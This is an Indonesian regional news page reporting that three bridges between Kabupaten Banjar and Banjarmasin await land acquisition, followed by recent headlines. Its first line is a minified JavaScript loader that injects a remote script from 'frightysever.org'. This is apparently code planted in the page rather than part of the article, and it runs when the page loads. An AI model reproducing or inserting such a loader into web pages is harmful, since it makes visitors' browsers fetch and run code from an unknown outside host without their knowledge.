(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pembangunan Jembatan Sungai Lulut Masih Menunggu Pembebasan Lahan


MARTAPURA, Rencana pembangunan 3 jembatan Sungai Lulut sebagai jalur penghubung antar dua wilayah yakni, Kabupaten Banjar dengan Kota  Banjarmasin tampaknya masih menunggu pembebasan lahan di sekitar area pembangunan.

Hal ini di ungkapkan Plt Kepala Dinas PUPR Provinsi Kalimantan Selatan Roy Rizali Anwar usai melakukan rapat koordinasi pembangunan jembatan Sungai Lulut, Selasa (28/8) di Aula Bina Marga Dinas PUPR Provinsi. Rapat dihadiri pihak Pemkab Banjar dan Pemko Banjarmasin.

Kepada kanal kalimantam Roy menjelaskan, rapat tersebut bertujuan untuk memastikan pembebasan lahan yang berada di dekat area pembangunan jembatan. Mengingat hingga kini masih belum dilakukan pembebasan lahan dari kedua pemerintah.

“Apabila pembebasan lahan belum tuntas maka jembatan tersebut tidak bisa dibangun. Diharapkan di anggaran APBD perubahan tahun 2018 ini, baik pihak Pemerintah Kota Banjarmasin maupun Pemerintah Kabupaten Banjar agar dapat mengalokasikan anggarannya buat konsultan Aprizal untuk menilai dan mendata berapa yang dibutuhkan untuk pembebasan lahan tersebut,” ujarnya.

Roy Rizali Anwar pun mengakui untuk pembebasan lahan di area pembangunan tersebut tidak mudah dan membutuhkan proses panjang. Walau demikian pihaknya tetap berharap pembebasan lahan tersebut dapat diselesaikan sebelum bulan Juni 2019.

Menurut Roy pihaknya akan mengalokasikan anggaran untuk pembangunan di 3 buah jembatan yakni, jembatan Sungai Lulut, jembatan Sungai Gardu 1 dan jembatan Sungai Gardu 2 , Tapi pelaksanaanya menunggu kepastian pembebasan lahan.

Roy Rizali Anwar menambahkan, kalau memang memungkinkan nanti pihaknya juga akan mempersiapkan jembatan darurat yang bisa dilalui roda dua pada saat dilaksanakan pengerjaan. Apabila dalam perjalannya nanti di tahun 2019, lahan tersebut tidak bisa dibebaskan Pemerintah Kabupaten Banjar dan Pemerintah Kota Banjarmasin, pihaknya akan menunda proses pembangunan jembatan tersebut.

“Jika dalam prosesnnya hingga 2019 lahan tersebut tidak dibebaskan oleh kabupaten/kota maka proses pembangunan jalan yang menghubungakan jalan provinsi tersebut akan ditunda, hingga pembebasan lahan clear sepenuhnya.” pungkasnya. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

1 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

2 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

2 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

2 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

3 jam ago

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

4 jam ago

This website uses cookies.